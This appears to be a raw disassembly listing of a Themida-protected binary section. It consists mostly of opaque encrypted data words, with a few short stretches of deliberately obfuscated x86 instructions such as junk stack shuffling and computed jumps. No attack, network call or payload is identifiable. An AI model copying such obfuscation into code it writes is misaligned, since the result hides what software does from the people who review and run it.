0AAF70C37h, 1A7C5D0h, 0D7A10000h dd 0E7E2170Eh, 81781F74h, 0B02A930h, 49EA1FBAh, 0ADE7E217h dd 0E956FF7Eh, 4B320761h, 0A1621F54h, 77C2E7E2h, 0B914DF3Ah dd 528F36D2h, 29DF827Bh, 2D144B96h, 0B54BEAD1h, 0DF1C6702h dd 0FFAE120h, 8DD279B6h, 0E31AB954h, 55A44BD2h, 38CC15Ch dd 0D0E7E2A1h, 24916A51h, 0A6013E89h, 0B3BD86DBh, 3E14D750h dd 0F0000001h, 8A259C6Dh, 6CA312EBh, 0AA9B4EC3h, 0E21F28AFh dd 2F6CAC23h, 7F757BF8h, 9CE7EF7Ch, 2BE3CA01h, 0A662019Ch dd 2A97D41Fh, 0EFDC8F71h, 69C893FEh, 0D0AA41DAh, 3DF7h dd 5D9DD300h, 0ED8831CCh, 0A32057A2h, 0EF7C1F71h, 0BEF590DBh dd 0C83E25D7h, 0AE0FAAF5h, 2DB3C955h, 0F758A32Eh, 706E6482h dd 3CA9E6A0h, 0EFDC6D83h, 87DAA510h, 0D0AA6BBCh, 0BA15h dd 9C6DF100h, 1EEB8A25h, 9C6D0CA7h, 1D45EE25h, 0DC79D9E6h dd 348D4AC7h, 0A2EDE7E2h, 744DB857h, 34C56437h, 51B9F67Dh dd 8DE7E23Ch, 0FE0B56A6h, 96E12CC7h, 3A8B8259h, 0BFFC3CB3h dd 99E10B88h, 0F03BEF76h, 8E37D2B9h, 1CA56007h, 1DD525DEh dd 0D518E327h, 0A54h, 23AA03F4h, 0AE358C7Ch, 3DC4FB07h dd 0C64D6096h, 54DBE21Fh, 0DC29A9BAh, 44B75EE5h, 0C943EA71h dd 39D077FEh, 5BCA0188h, 0E1E221DEh, 144881EFh, 1CD956D5h dd 7CE7E217h, 0FF9A21DDh, 1D0869B4h, 121F57C3h, 0FDD411h dd 0CF332B9h, 0E12CC7FEh, 313CCDA4h, 679EE9D8h, 0AAAE6BE8h dd 0C30EE7E2h, 6DCBC786h, 0EB8A259Ch, 0D11CA312h, 3B3h dd 23FCF8ADh, 0F26FA6DBh, 0EF79C5DFh, 0AC13448Fh, 0E37E35C5h dd 74B45B98h, 0E6328221h, 24DE9F9h, 2204ECBh, 0E382F77Ch dd 0B8539E29h, 566F9A81h, 3AD170BBh, 68A5F08Bh, 0DC1442FBh dd 9964CFF7h, 0A9C4FB48h, 32FD6D8h, 0D5B20000h, 3AB1AD56h dd 0BB76490Dh, 0E29DC986h, 3FDE29E7h, 115CF7CEh, 9DAE67D4h dd 26EAE7E2h, 7AE7E29Eh, 3FB7693h, 83CE69B4h, 225F9F46h dd 76856CEBh, 6F95023Fh, 21EF7CA0h, 4AE198D6h, 0C893271Ah dd 95385h, 0AB02F500h, 368D7D24h, 0C5FC08AFh, 4E61973Eh dd 0DCE520C7h, 2AA8BB55h, 0B85FE6DFh, 44EB7243h, 0D178FFB6h dd 0CB028938h, 0E322DF5Ch, 4982EFE1h, 259C6D15h, 9E6C538Ah dd 0FB43EA27h, 56A88FC6h, 3C79C45Fh, 2BA54ECDh, 7A4387BCh dd 611B88C5h, 0BBEF7A48h, 2A72E970h, 25D7BEF5h, 6FACF792h dd 6E9A8100h, 885BC57h, 0EFE25A4Bh, 0D81560ABh, 7A06AD6Bh dd 9E700FF7h, 0E22B8611h, 125D1CE1h, 52A990C7h, 0BE9FDC63h dd 10F7E277h, 620990CDh, 0E2811CA9h, 90FF9A2Bh, 5FDC1348h dd 0FF7C769Dh, 0B17EBC07h, 6F371AB2h, 8A661A4h, 6DA20000h dd 0D22AD158h, 49B55CE3h, 0B244EB72h, 30CD74FBh, 7B680289h dd 0C932AD7h, 981F9665h, 25AC1BF1h, 0AF368F7Eh, 0CF8C0978h dd 2FEFE1E3h, 5D9DC2F6h, 0EB863FCCh, 0A11E55A0h, 0EF79C3E3h dd 6E2BA827h, 0CEEFE1D6h, 9EE9DC2Fh, 8EC51061h, 0D5D5920Fh dd 0EA35EFE1h, 0A4573EADh, 28E38A11h, 4B93029Dh, 0E160DF16h dd 0E1D5A764h, 7FBC07EFh, 79835812h, 0CC67B2F7h, 6CC0EC95h dd 0F3FE831Ch, 92CF0FB6h, 39E0DE5Bh, 0F742FF7Ch, 1AE5F4B9h dd 92D5A037h, 810h, 67EEC738h, 0F27948C0h, 8108BF4Bh, 0A9124DAh dd 981FA663h, 906D15FEh, 0FBA229h, 75872EB5h, 0E514BB42h dd 9F0E45CCh, 0E1E46522h, 588CC5EFh, 0EE259C6Dh, 83C0F707h dd 0C9F811B0h, 0AD5302Eh, 7C03B24Bh, 5039F241h, 1CF2D9D7h dd 86C30EA9h, 1500Dh, 5D9DE900h, 7E6CE920h, 0C2EF7C17h dd 0B38021DBh, 69CB5E1h, 3586C30Eh, 44F6696h, 0DF7B3469h dd 9D08EFDCh, 0F1B47FD2h, 220DD0AAh, 0E9000001h, 8A259C6Dh dd 0D0E8AA53h, 82F28850h, 269F6E45h, 0ABE0289Fh, 24F1F774h dd 1863EF7Dh, 358F487Dh, 0B11CEFDDh, 27B88BE6h, 3119D0ABh dd 0F5000000h, 0A71EEED5h, 0DD84C10Ch, 0AA29609Dh, 0E217702Dh dd 4885D0E7h, 1F2A5CD9h, 4994EF7Ch, 2EC079AEh, 0E24DEFDCh dd 2589BA17h, 0A648D0AAh, 24000000h, 0EE259C6Dh, 1057E445h dd 0BAF72C87h, 4BD48E7h, 52CF4ECDh, 0E7E2E895h, 0B875AAF5h dd 0FAE7E2E8h, 0E2E8C07Dh, 0BCD520E7h, 0C2613471h, 0DDD0264Bh dd 0A158F792h, 7C4C8910h, 8E7E2F5h, 0A1DEE521h, 0FB8233CAh dd 0D0074484h, 77542953h, 13883EFh, 4FD6EF1Ah, 26645DA8h dd 271D0F75h, 0C9F53803h, 7F000006h, 7AE3588h, 9239C0F7h dd 21C84F76h, 0AA51D8EFh, 45DF665Fh, 7049B45Eh, 0FCC942E9h dd 893CCE75h, 13A25B02h, 69E6558Ch, 0EFE1E5ACh, 6D9FD30Ch dd 49F22990h, 9A5BAC9Fh, 985794EFh, 22A918F1h, 13EED526h dd 8F436594h, 0B702E18Ch, 0BD94D11Ch, 3BDA754Ch, 216CF3C2h dd 3Bh, 2ABBF8FDh, 0CD46A981h, 94D1A15Fh, 3970ADEDh, 9037D3BAh dd 0F6D2E653h, 3984EF79h, 4DF6C408h, 1C99D00Dh, 0F779B463h dd 0CC3F70BBh, 5Dh, 0AC69E665h, 0CF7E1C5h, 9D5884C1h, 873ECC5Dh dd 49F16E8h, 0BA376EB9h, 0EF7C395Ch, 0E118B3FEh, 76B302FAh dd 7397F509h, 390427DFh, 0F82F6CACh, 69BB894Fh, 3E9F6EADh dd 0CD0659EAh, 950441A6h, 7660BA18h, 0A1573EF7h, 3580D10Eh dd 0D3EA17FEh, 0B198D796h, 0B6316E55h, 0AEh, 205D9D92h dd 0C5566CE9h, 0BD08EF79h, 60BC65CCh, 5A7D7C1Dh, 0AA13EE8Dh dd 1953216Dh, 9DA6FBC6h, 34D0AFA6h, 7Ah, 205D9D10h, 30ED6AE9h dd 90E7E217h, 1C990845h, 0EF79C609h, 0D6EF1AB9h, 88569A8Bh dd 900E74Eh, 55207BB8h, 0AF8237FCh, 4C8AD0h, 9D660000h dd 6CE9205Dh, 0EF79C558h, 0A188BF0Ah, 32EF6C6Fh, 92EFE1D6h dd 48C5FC47h, 0EFE1D68Bh, 3A63A0EBh, 28832AD3h, 0C1414FF5h dd 916A3884h, 13B24D74h, 902FCAFDh, 65B04B7Ah, 6BDEA9CCh dd 0F44D186Bh, 0D0AF524Fh, 0D82h, 0E9D75E00h, 19E7E220h dd 0FFFF02D6h, 5D9DB2FFh, 826CE920h, 0DCEF79C5h, 4787F691h dd 0D754D30Ah, 0EFE1D51Ah, 83F22F7Ah, 79824D06h, 235AA5F7h dd 0D1C6677Ah, 0EE2BDDF1h, 2F6CAC1Bh dd 0E28D7BF8h, 50EFFF78h, 88BF0ABBh, 0D35A69A1h, 0A8DF1C5Ch dd 0F1EFAC29h, 44FFFE0h, 1DDB58C7h, 6107789Fh, 9A35807Ah dd 76C1124Fh, 13A2583Fh, 4A814F8Ch, 6C9D8FBFh, 5D2FEC69h dd 0F309A007h, 0C5DE29C4h, 4108197Ah, 4922D96Ch, 39D077FEh dd 3E7EED88h, 0CC4BCA01h, 7D2924Fh, 0B653F2A0h, 1A87C40Fh dd 0A7A1EA2Ch, 9A8438Eh, 2B9A70F3h, 50A645E0h, 1B36C25Dh dd 617CD950h, 873ECF96h, 14A35900h, 9322DA79h, 0BE3D6CF8h dd 1FC8441h, 5C99E4A8h, 9D6F3601h, 0EFCA32Ah, 0FEE51CB7h dd 8120BB02h, 0B3F03B8Ah, 94F70B67h, 0C7FE0CC9h, 2CD54440h dd 6B66EC0Ah, 0F79EDB50h, 984178B1h, 0B1C1EB57h, 3B0E4B6Dh dd 0B9546D9Ch, 0AF46112Ch, 12F93069h, 0CD8CC9FCh, 0EDDED726h dd 5AB5DCA9h, 7E37C68Fh, 1AAB6047h, 6895347Fh, 2E6BB651h dd 0AF06F6C5h, 8A22DF14h, 233EE7E2h, 3F4CF558h, 0F314D9F6h dd 3F4DCF00h, 11B73DDEh, 0B60DFDD4h, 0C683007Fh, 26E7E24Dh dd 0A0DF9EDBh, 0D57047B9h, 4E64219Eh, 79C4E7E2h, 4BEBCD2Eh dd 0A5E46307h, 4C7B9168h, 0B7346C15h, 0F451BA10h, 0F5AFE4B7h dd 32E7E2B8h, 0C339FCC7h, 852E6DF4h, 30CC5E0h, 0C936737Ch dd 0E7E2B447h, 0B4591693h, 6EB9E7E2h, 0F505EC23h, 9BD823BEh dd 50A40C30h, 0FF40BDD7h, 6D99FFFFh, 0F79E259Ch, 844B9906h dd 0A17641AFh, 71D28678h, 6FBA2A40h, 8BF5138h, 3AD3A2CBh dd 35CB9A8Bh, 0B048E782h, 26A4D2EBh, 438EDD38h, 0C0F709A8h dd 324DDA25h, 0ECE6DC67h, 29B8D542h, 582346DEh, 14457C8Dh dd 507882B1h, 483FD7h, 9D1B0000h, 6CE9205Dh, 0EF79C3B3h dd 68CFC00Bh, 0D6581ABFh, 0CA078107h, 0A8DFB17Eh, 3F7C4BC1h dd 45C419E4h, 801BA25Eh, 0E4430035h, 955BEFE1h, 407C8581h dd 0ED2A758Eh, 92C90646h, 79395C15h, 3869B4F7h, 4CC5h dd 5D9DA100h, 0EE8930CCh, 0A42158A3h, 0EF79C3EBh, 0C307F843h dd 80E11AF3h, 56F13C85h, 0D8734AB7h, 45B47FDAh, 3BCA95C0h dd 0A87BEF3h, 0F7798351h, 5F56A48Bh, 0EB3C79C4h, 89086FA0h dd 0E1954F0Ch, 2D64AFF7h, 0E194F3B0h, 0CB0853F7h, 259C6D9Fh dd 0A312EB8Ah, 2865A51Ch, 316E74F1h, 95E0EF7Ch, 410CC5FAh dd 2E99EFDCh, 0EB230A63h, 0F349FDCh, 0C2D0AA13h, 20h, 205D9D9Eh dd 1F3A6CE9h, 59A4EF7Ch, 2ED089BEh, 0F25DEFDCh, 2579CA27h dd 1358D0AAh, 34000001h, 0EE259C6Dh, 84C1F407h, 78937AB1h dd 0EE51B24Dh, 0B2BF0AB9h, 0E62384CFh, 0A3D4427Ch, 0EB16ED2Ah dd 619837D2h, 0FF7EB550h, 0BB460380h, 5BA6E7E2h, 0E2BB6926h dd 1592C9E7h, 0E7E2BB58h, 0E5226DB8h, 9A72FF0Eh, 0FA45902Bh dd 0C0363673h, 382E7E2h, 0E2BFC986h, 0A1DE29E7h, 0FB8233CAh dd 710CA554h, 4E85BA02h, 7CD397D1h, 11BAF1EFh, 0E2BEC35Ah dd 22DF14E6h, 82EFDC2Fh, 0CEB5EC37h, 9FEA8538h, 0EC2CA362h dd 7CF978AFh, 0EFDC2EBFh, 209DD41Fh, 0EFDC2F63h, 0CC3B78C3h dd 70920F4Fh, 0F72E79F7h, 123EFB78h, 539EF7D9h, 45C0A716h dd 0A25E457Ch, 0F835801Bh, 2851FA39h, 467F8E10h, 8B61B9E5h dd 338A774Eh, 16AD5CF5h, 0BAFDC82Fh, 194h, 0E36A43B4h dd 6EF5CC3Ch, 0FD843BC7h, 860DA056h, 149B22DFh, 1CE9697Ah dd 84771EA5h, 903AA31h, 799037BEh, 1B8AC148h, 0E1EAE19Eh dd 0D40841EFh, 0A229906Dh, 2CB302FBh, 9E0C44EDh, 0C6FB44E8h dd 5D9D5D89h, 3A6CE920h, 0A4EF7C1Fh, 288DC043h, 12B75A7Dh dd 63DB7E93h, 0A07FE02Bh, 3FBDC056h, 3267024Dh, 0EFDCD679h dd 6C07BE4Bh, 0EB863DCDh, 0F5642F52h, 86DBA611h, 0D0AA82BDh dd 0CD14h, 3C04AD00h, 0F2DD3859h, 685DAE4Dh, 194582CDh dd 39D19C6Dh, 89083F8Ah, 0E2174F0Ch, 571491E7h, 0B7E7E217h dd 0FCF2536Ch, 63B85C28h, 2F023F8Ah, 0B14C7590h, 0E28D7C7Ch dd 18A960E7h, 0A213EA91h, 0A7B5C26Bh, 0BF834133h, 0F840AF82h dd 640D8CC3h, 7381DDB7h, 0E3508D44h, 0EF7C9FA9h, 9A81B803h dd 57165362h, 2C6398E0h, 70EECAAFh, 0F82F7AF7h, 64E1F411h dd 0F7D980A7h, 0EA71BC07h, 8138C4ABh, 29906D44h, 17AA44EBh dd 0A6E9B42Fh, 84h, 0F37A33C4h, 7E05BC4Ch, 0D942BD7h, 961D9066h dd 24AB12EFh, 0CF9998Ah, 74872EB5h, 0F913BA41h, 69A047CEh dd 2B9AD158h, 0E1EBF1AEh, 0E41851EFh, 0AA13EED5h, 526B966Dh dd 0DCD524CBh, 0EED55955h, 0C20DA81Dh, 665FAE85h, 0E4DD2CCBh dd 6E47B65Dh, 0F8C940E7h, 0CE3F265Dh, 0D64DBAF7h, 0BA2666AEh dd 0F811D49Fh, 0E22D8475h, 6C45B45Bh, 0E9DC32D1h, 0BD6F14Eh dd 7B02B34Ah, 0F18C25D4h, 3AEh, 0B6DA8A00h, 88239A6Dh dd 6A110E9h, 87229567h, 7A213E8h, 89249D68h, 0BA61FEAh dd 88239A6Ch, 0BA61DE9h, 8A259C6Ch, 0E18951FAh, 4C181h dd 0E9830000h, 74FF5104h, 8F590424h ; --------------------------------------------------------------------------- add al, 24h pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx push 7FFC0D7h mov esi, [esp] add esp, 4 push esp mov ecx, [esp] add esp, 4 push 3464h mov [esp], esi pop dword ptr [ecx+8] push dword ptr [esp] pop ecx add esp, 4 mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_59895C ; --------------------------------------------------------------------------- db 0E9h, 0A0h, 93h dd 559CBD83h, 0B97EE1A7h db 0B7h, 4Fh, 15h ; --------------------------------------------------------------------------- loc_5E0AD3: ; CODE XREF: Themida_:loc_5DF47Dj mov eax, 7FFD600h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 7DF06D8Bh, 79DCE61Ch, 431B5B8h, 8E786E7h, 7A4DBD33h dd 4427E416h, 1F018A3h, 586D6123h, 9F76AA8h, 631D9FAEh dd 9AFF477h, 2691FCC2h, 25840B34h, 1BB25D08h, 0A829ACBh dd 1FADE65Ch, 43984D80h, 7C832891h, 4E3B0E42h, 83ACF70h dd 7A928801h, 7DE1168Ah, 3BA5F364h, 44ADC722h, 282C8ED1h dd 23651915h, 38FB4911h, 6D969F53h, 12FD1745h, 795535DDh dd 0D80F8D8Dh, 6A07FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0CB1448C3h, 0A41F1EE8h, 3350C478h dd 0FA31A585h, 8D895F07h, 7FA1CD9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 62C35747h, 0E91A610Dh, 0Fh dd 51354D7Fh, 9496BC94h, 0F64BD5Bh, 0C7F72340h, 0FA31AD85h dd 750807h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 22EDEFCDh, 0C7DD0EC0h, 0FA2BD985h dd 7, 8E0F00h, 0FF000000h, 0FA16F1B5h, 7DBD2307h, 0E907FA0Eh dd 0Ch, 19CE9EEBh, 0D385EE61h, 0F72D1C8Eh, 179995FFh, 6A07FAh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 30190FC3h, 0B2D70B17h, 89089CFAh, 0FA0211B5h, 0FF006A07h dd 0FA101995h, 0EBC08B07h, 7565C40Bh, 7FD26EE2h, 0CFDBDF15h dd 0D9048D8Dh, 6A07FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8B6899C3h, 0D98D89F2h, 6A07FA1Ch dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0F0EC352h, 0F681C6BFh, 6E5967EDh, 31AD85C7h dd 643407FAh, 13E90000h, 69000000h, 0C25789B0h, 0A439FC54h dd 0A352A0A2h, 0DD6E473Fh, 85C7A9C5h, 7FA2BD9h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5E0CE7 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E0CE7 proc near ; CODE XREF: Themida_:005E0CDFp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5E0CE7 endp ; --------------------------------------------------------------------------- align 4 dd 0EE8h, 0EB684700h, 88D5BCA9h, 15606CD5h, 5612825Ah dd 0CE9h, 7F6D2500h, 59ED8446h, 5D5DA15Fh, 665F5AE1h, 270DCE81h dd 167DB5FFh, 0F5607FAh, 80h, 95FF5A00h, 7FA1799h, 0B818D31h dd 6A07FAh, 101995FFh, 0C08B07FAh, 0F3E0EEBh, 4DCBD7FAh dd 203DB149h, 77EE0355h, 0D9B48D8Dh, 816607FFh, 89FCB4C0h dd 0FA1CD98Dh, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0D5EFE5DFh, 85C725B6h dd 7FA31ADh, 6B38h, 2BD985C7h, 7FAh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 507B8DC3h dd 9F03BA66h, 6E95Eh, 0E7960000h, 6B748A71h, 2515B5FFh dd 950107FAh, 7FA29B5h, 8016BB66h, 179995FFh, 830F07FAh dd 6, 67D958Bh, 6A07FAh, 101995FFh, 0C08B07FAh, 7C8B08EBh dd 931AEDD7h, 0C08BDA3Dh, 0AE957h, 652A0000h, 4F930C5Bh dd 0D54F7791h, 0CDBD835Bh, 7FA2Ah, 0BD830975h, 7FA1899h dd 50197400h, 0B8C08B53h, 3FCh, 20C98589h, 9D8D07FAh, 7FCE224h dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h, 3FCh, 20C98589h dd 9D8D07FAh, 7FCDF13h, 585BD3FFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 81C35747h, 0BA665AF6h, 8E0FAE40h dd 19h, 138F0Fh, 0DE80000h, 0D6000000h, 98B75CB0h, 0F5872D2Ch dd 5529ADDh, 8BC08B5Ah, 0EDBD83D0h, 107FA33h, 73840Fh dd 0BF0F0000h, 89EA81DFh, 8310DFFCh, 0FA18F9BDh, 850F0007h dd 5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh dd 0EEC35343h, 5C3B8141h, 70144F50h, 35BD8363h, 7FA31h dd 9F840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0E21DFFC3h, 0E97AC146h, 5, 0D8131D36h dd 3DFE930h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 15BF23C3h, 0D731629Fh, 0AF48h, 0AE90000h dd 0A2000000h, 39F9C137h, 0E7143FFh, 57006A7Ch, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0B9660666h dd 0AB5D4F0Fh, 7ABB3627h, 0E95EC1E6h, 9, 0FE5D886Dh, 1E5A79D3h dd 0FA43FAD9h, 76F1446Ah, 1F1E8FB1h, 3CF6EEB1h, 95ACB4EBh dd 9DF29FE5h, 7F2F9F5h, 5EF6EEB1h, 0FD8B4E3h, 4E23F512h dd 997B0537h, 1B0B9353h, 0F4A077DBh, 1CF6BBB2h, 42358391h dd 18D29A38h, 18D23330h, 1CF6BBA8h, 5A358BF7h, 28AD03AFh dd 35757892h, 0F4F6BBB1h, 1CF6DDBFh, 706951FCh, 539A5DC3h dd 25783D41h, 131EDF47h, 33F6EEB1h, 242E7CFBh, 9CBD10F0h dd 499B9647h, 47ACB41Fh, 0C17CA74Eh, 1CF21658h, 0B3155CB1h dd 49FEC72Ch, 1CF67759h, 0F177E6B1h, 1B09065Dh, 0F4A3EEDBh dd 1CF677B2h, 4135E691h, 18D2B138h, 18D2AA30h, 1CF677A8h dd 0C635EEF4h, 78E5B402h, 984DBDA4h, 46D6598Bh, 0F4A7BBDBh dd 1CF6DDB2h, 4535B791h, 18D23B38h, 18D2FF30h, 1CF6DDA8h dd 0B135BFF0h, 0FE831275h, 0D677DDDFh, 0DC7DBAC4h, 1CF6E058h dd 6160B0B1h, 811E1BA9h, 94DF5347h, 4CCD8C48h, 1CF66658h dd 0ADD800B1h, 0BB0D8125h, 0EC94C286h, 0DB09EAA2h, 187FFC2Dh dd 4EF6B795h, 1CF6ED59h, 0DFAC57B1h, 38A232EBh, 38B25CB5h dd 1CF6F6B5h, 0DFA435B1h, 20613F91h, 8F2D5DE9h, 38BAEFBEh dd 197C784Fh, 7AF6BBB1h, 4C6B3630h, 0E04D88E9h, 1EFA7227h dd 101EBBB1h, 6FF6DDB1h, 0F5A334Eh, 4217F068h, 0A70E25FCh dd 7FB1E5F5h, 175955EBh, 147D0BA1h, 0EF41B4D1h, 0FEF8D70Bh dd 0F6778FE0h, 1F8A401h, 0E0BE30D7h, 0CDE43F30h, 1D4EC55Bh dd 7AF677B1h, 7A67623Ah, 4C27EA0Ah, 0C18B870Bh, 0CA76E6B4h dd 0C57ADD14h, 0F4A3DDDBh, 1CF6EEB2h, 41352A91h, 18D2D738h dd 18D29930h, 1CF6EEA8h, 893522F4h, 3C33211Fh, 1CE434FCh dd 0D8AEEB1h, 0DB1672E5h, 63F9D226h, 0E3FDA239h, 884F0D4h dd 1CF66658h, 0A20589B1h, 30B13083h, 3D396B63h, 200DA52h dd 0DD004E6Ch, 0D073D2B5h, 7AF6EEB1h, 13AFA63Ah, 1CF6BE32h dd 0A95F66B1h, 2576F7EDh, 347378D9h, 96F6BBB0h, 197BD24Ch dd 7AF6EEB1h, 3B029C30h, 76F7C23Ah, 1F1E8BB1h, 3CF6EEB1h dd 95A8B4EFh, 9DF29FC5h, 0AF2F9F5h, 5AF6EEB1h, 0D7B7B4E7h dd 1C093AB6h, 1376DDB1h, 1CF60033h, 1CFC9EB1h, 4BF3BBB1h dd 0F38EC89Fh, 83F3339Fh, 0C7FBF276h, 1CF7BC4Eh, 1C9CDDB1h dd 1CF506E1h, 44D677B1h, 587FE372h, 5877D995h, 1CE0EA95h dd 4CB677B1h, 50414B72h, 1CF6D459h, 99C3B1h, 0DBF4988Dh dd 7A969258h, 46972C3Ah, 1CF63E58h, 0CE7711B1h, 881FD5E2h dd 76F6DDB1h, 1F1EBEB1h, 3CF677B1h, 95AE78E9h, 9DF2F9F5h dd 0AF2CAF5h, 5CF677B1h, 255278E1h, 450E570Dh, 9F90B5E0h dd 13097CC8h, 1CF6DD35h, 4DF6B7B1h, 1CF6ED59h, 0DFAF57B1h dd 38BA32E8h, 38B25CB5h, 1CF6F7B5h, 0DFA736B1h, 0B66001A5h dd 9AF95116h, 1CF6EEB4h, 89CD600Ah, 1E73B4DAh, 0AFF6DDB1h dd 1173291Dh, 1DF1886Ah, 76F6BBB1h, 1F1E8BB1h, 3CF6EEB1h dd 95A8B4EFh, 9DF29FC5h, 7F2F9F5h, 5AF6EEB1h, 774DB4E7h dd 597F25DDh, 9D90895Ah, 5440505Ah, 0F4A377DBh, 1CF6BBB2h dd 41358091h, 18D28238h, 18D23330h, 1CF6BBADh, 0E43588F4h dd 0C6D740Dh, 0C4685A5Ch, 4E010AD1h, 7DA82E3Ah, 523C6FD7h dd 0D2BFCE65h, 997BEDA6h, 1B093D6Dh, 0C212533Ch, 0E4CD704Eh dd 13C6BCC5h, 0F7B11460h, 1CF80744h, 4B7B77B1h, 0E6B8D557h dd 0E73461B1h, 0F129792Ch, 1CF67A58h, 42AB13B1h, 0BA74BBA0h dd 0F02AA335h, 0A175777Ah, 1B0C885Ch, 9A72D2B0h, 76F6EEB1h dd 1F1E20B1h, 3CF6BBB1h, 95A91EEEh, 9DF2CACDh, 8F253F5h dd 5BF6BBB1h, 9DDA1EE6h, 5DD24C52h, 0E54BF4A8h, 1CF141A9h dd 1CA158BEh, 1C9CEEB1h, 1CF59FE2h, 47D6BBB1h, 407F8672h dd 5877EA95h, 1CE07395h, 4FB5BBB1h, 7FA6DD72h, 0CE7788E0h dd 9FACBB3Ah, 0E6C78E0Ch, 98F9DDB6h, 1CF6EE9Ch, 0F4A477DBh dd 1CF6BBB2h, 46358791h, 18D2BA38h, 18D23330h, 1CF6BBA5h dd 5F358FF3h, 1CF56FBEh, 0FA7677B1h, 1C1A52E8h, 0F776DDB1h dd 0F14B6DE3h, 1DF18D82h, 1C633EBEh, 1C9CDDB1h, 1CF506E7h dd 42D677B1h, 687FE572h, 5877D995h, 1CEDEA95h, 4AB077B1h dd 56488072h, 12B82745h, 76AB1BB2h, 1F1E20B1h, 3CF6BBB1h dd 95A91EEEh, 9DF2CACDh, 4F253F5h, 5BF6BBB1h, 0E0F01EE6h dd 131F2E42h, 7635A70Eh, 1F1EEDB1h, 3CF6DDB1h, 95A82DEFh dd 9DF253C5h, 9F29FF5h, 5AF6DDB1h, 0D3E32DE7h, 0F540A031h dd 1CF6BBDFh, 0F4A0DDDBh, 1CF6EEB2h, 42352991h, 18D2CF38h dd 18D29930h, 1CF6EEABh, 0FD3521F7h, 0E5ECA826h, 9D90D9DDh dd 41B5DE52h, 0F4A677DBh, 1CF6BBB2h, 44358591h, 18D2AA38h dd 18D23330h, 1CF6BBA7h, 73358DF1h, 0BE4DD9D8h, 0D384D2F9h dd 0F4A0BBDBh, 1CF6DDB2h, 4235B091h, 18D20338h, 18D2FF30h dd 1CF6DDABh, 9735B8F7h, 241329B8h, 0A17B3D75h, 1B0906E9h dd 0FC5F633Ch, 14E704Eh, 2F8D81EDh, 0E6EADC34h, 0DD39C5B6h dd 0D2BFCE58h, 997BEDA6h, 1B093D6Dh, 0C212533Ch dd 0E4CD704Eh, 13C6BCC5h, 0E9831460h, 83A4F305h, 0FFDB0DBDh dd 0D740007h, 4F668D8Dh, 1B807FAh, 0FF000000h, 6A40E1h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 81687DC3h, 2CEF99Ch, 6A91D380h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 4696C350h dd 0F6A61BDh, 380h, 0D08B6600h, 0E883A6B7h, 56006A2Dh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 66F7426Eh, 0C08BD08Bh, 0FB8B5360h, 0BD83615Eh, 7FA2ACDh dd 83097500h, 0FA1899BDh, 19740007h, 0C08B5350h, 3FCB8h dd 81858900h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h, 99BD8358h dd 7FA18h, 53501774h, 3FCB8h, 81858900h, 8D07FA15h, 0FCDF2C9Dh dd 5BD3FF07h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0D2B70FE1h, 12E8h, 0E0F09900h, 0AA19B938h dd 0CCF0F590h, 3025A0CBh, 0B7F061C3h, 8B665A3Fh, 0E8C08BD0h dd 0Dh, 423EF097h, 25C354A7h, 0EB129031h, 3870FEBh, 0F000000h dd 0E85FDFBFh, 14h, 68E1A926h, 0AC26B8F5h, 317D19F2h, 96F0BF58h dd 2C8806A0h, 0F850Fh, 0AE90000h, 22000000h, 962CCB38h dd 3FCF0304h, 0C7815ED3h, 5F54h, 0BADEBF0Fh, 0 dd 0C8BE3B7h, 0F5605017h, 5E61C38Bh, 4B49F181h, 0BE868E1h dd 0E7000000h, 0AD866181h, 78A1C07Bh, 816686DBh, 5E0603DBh dd 8BFFE981h, 83B87786h, 810810D0h, 0EA05D3F1h, 0C78B663Dh dd 0F3BF0F51h, 0E917048Fh, 6, 0D2949F77h, 0F60FC7Dh, 8166D3BFh dd 61C809EEh, 0F03EA83h, 0BB4AC3B7h, 4257D03h, 0A1A8FA81h dd 850FFFFFh, 24h, 10E9h, 8BB7C500h, 22DF6604h, 0ED18204Ah dd 825DC465h, 22E9ABh, 0D95D0000h, 5FE74499h, 0AFA6AFEFh dd 0FF68E9F8h, 7CD2FFFFh, 0CA7E00ACh, 1A473B42h, 21F44785h dd 79785F1Ah, 0BE9h, 0FD35CE00h, 809E017Dh, 7Ch, 0CC2E9h dd 0E4406800h, 0EDE907FFh, 68FFFA9Bh, 7FFE52Ah, 0FA9BE3E9h dd 0E66B68FFh, 0D9E907FFh, 68FFFA9Bh, 7FFE787h, 0FA9BCFE9h dd 0E93E68FFh, 0C5E907FFh, 68FFFA9Bh, 7FFEBBFh, 